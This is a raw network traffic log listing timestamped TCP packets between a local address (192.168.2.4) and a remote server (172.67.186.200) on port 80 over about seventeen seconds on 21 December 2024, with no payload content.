Dec 21, 2024 11:07:31.040709019 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.241374969 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.241487026 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.241549015 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.293378115 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.411957026 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.412970066 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.531681061 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.531805038 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.532006025 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.607621908 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.607817888 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:31.651628971 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.727488041 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:31.897702932 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:32.017514944 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.017608881 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.070884943 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.118851900 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:32.189333916 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:32.308990002 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.503451109 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.503675938 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:32.618983984 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.624010086 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.624042988 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.665714979 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:32.865355968 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:32.915714025 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:33.011532068 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.041229963 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:33.161281109 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.355396986 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.355595112 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:33.475204945 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.475264072 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.831420898 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:33.884484053 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:33.999979973 CET	49737	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.002104044 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.002321005 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.119640112 CET	80	49737	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:34.119788885 CET	49737	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.122374058 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:34.122647047 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.123106003 CET	80	49736	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:34.126141071 CET	49736	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.139878035 CET	49737	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.570393085 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.690020084 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:34.690113068 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.690282106 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:34.809832096 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:35.040878057 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:35.161112070 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:35.161243916 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:35.786897898 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:35.947000027 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.021339893 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:36.134501934 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.355781078 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.356638908 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.477339029 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:36.477432013 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.477547884 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.484524012 CET	80	49739	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:36.484610081 CET	49739	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.597155094 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:36.822056055 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:36.942253113 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:36.942289114 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:37.576237917 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:37.634526014 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:37.819741011 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:37.946994066 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.120421886 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.121054888 CET	49744	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.240394115 CET	80	49742	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.240488052 CET	49742	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.240631104 CET	80	49744	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.240717888 CET	49744	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.240843058 CET	49744	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.311260939 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.362581968 CET	80	49744	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.431003094 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.431097984 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.431241989 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.467355967 CET	49744	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.551745892 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.629376888 CET	80	49744	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.775192976 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:38.896047115 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:38.896080017 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:39.133322001 CET	80	49744	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:39.133450985 CET	49744	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:39.517544031 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:39.634502888 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:39.757760048 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:39.946996927 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:39.985584974 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.106838942 CET	80	49745	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:40.106951952 CET	49745	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.127607107 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.247469902 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:40.247585058 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.247718096 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.367288113 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:40.603425026 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:40.723287106 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:40.723355055 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:41.339864969 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:41.431384087 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.585443974 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:41.743887901 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.749927998 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.750724077 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.871305943 CET	80	49746	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:41.871411085 CET	49746	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.871556997 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:41.872237921 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.872383118 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:41.991899967 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:42.228346109 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:42.347965956 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:42.348150015 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:42.957850933 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.043438911 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.196751118 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.322000980 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.322968006 CET	49749	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.442007065 CET	80	49747	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.442080021 CET	49747	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.442682981 CET	80	49749	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.442768097 CET	49749	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.442939997 CET	49749	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.488238096 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.488323927 CET	49749	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.562519073 CET	80	49749	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.607950926 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.608051062 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.608218908 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.634752035 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.649358988 CET	80	49749	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.730540991 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.756963968 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.757025957 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.757149935 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:43.876687050 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:43.962712049 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:44.082861900 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.082895994 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.103436947 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:44.223578930 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.223659992 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.334130049 CET	80	49749	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.337686062 CET	49749	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:44.694237947 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.759510040 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:44.853640079 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:44.900145054 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:44.935355902 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.091305971 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.123342991 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.134500027 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.224587917 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.224714994 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.225795031 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.344855070 CET	80	49750	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.344913960 CET	49750	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.345238924 CET	80	49751	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.345285892 CET	49751	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.346430063 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.346517086 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.346657038 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.466908932 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.697122097 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:45.817023993 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:45.817043066 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:46.432185888 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:46.478267908 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:46.669989109 CET	80	49753	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:46.712650061 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:46.788183928 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:46.904783964 CET	49753	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:46.907879114 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:46.908015966 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:46.908142090 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.028829098 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.259641886 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.379626036 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.379661083 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.435252905 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.435501099 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.552814007 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.555419922 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.555529118 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.555655003 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.601655960 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.672975063 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.673058033 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.673227072 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.675154924 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.792897940 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.799474001 CET	80	49754	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:47.801845074 CET	49754	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:47.900326014 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020319939 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020387888 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020412922 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020463943 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020483017 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020514011 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020556927 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020564079 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020591021 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020611048 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020652056 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020699978 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020762920 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.020833969 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020863056 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.020925045 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.025295019 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.084903955 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.086055994 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.140536070 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.140686989 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.140773058 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.140774965 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.140825987 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.140897989 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.140958071 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.145387888 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.145494938 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.145534992 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.181325912 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.181519032 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.262775898 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.262861967 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.301729918 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.301848888 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.349415064 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.421812057 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.421894073 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.446415901 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.446687937 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.446814060 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.541599035 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.541826010 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.567544937 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567590952 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567605972 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567632914 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567684889 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567713976 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567740917 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567770004 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567816973 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567843914 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.567863941 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.567935944 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.567995071 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568026066 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568052053 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568075895 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568079948 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568104982 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568135977 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568169117 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568176985 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568207026 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568243027 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568257093 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568294048 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568325043 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568345070 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568409920 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568423033 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568470955 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568496943 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568531990 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568583965 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568639994 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568754911 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568783045 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568816900 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568846941 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568871975 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.568933010 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.568957090 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569022894 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569061041 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569118023 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569124937 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569173098 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569190025 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569228888 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569304943 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569360971 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569365025 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569433928 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569437981 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.569495916 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.569506884 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.613797903 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.640239000 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.662121058 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.681495905 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:48.688126087 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688204050 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688235044 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688355923 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688385010 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688419104 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688632011 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688666105 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688780069 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688843966 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688915968 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.688983917 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689096928 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689129114 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689234018 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689368010 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689575911 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689683914 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689754009 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689786911 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689897060 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.689925909 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690045118 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690119028 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690330029 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690438032 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690664053 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690763950 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.690973997 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691090107 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691123009 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691262007 CET	80	49755	172.67.186.200	192.168.2.4
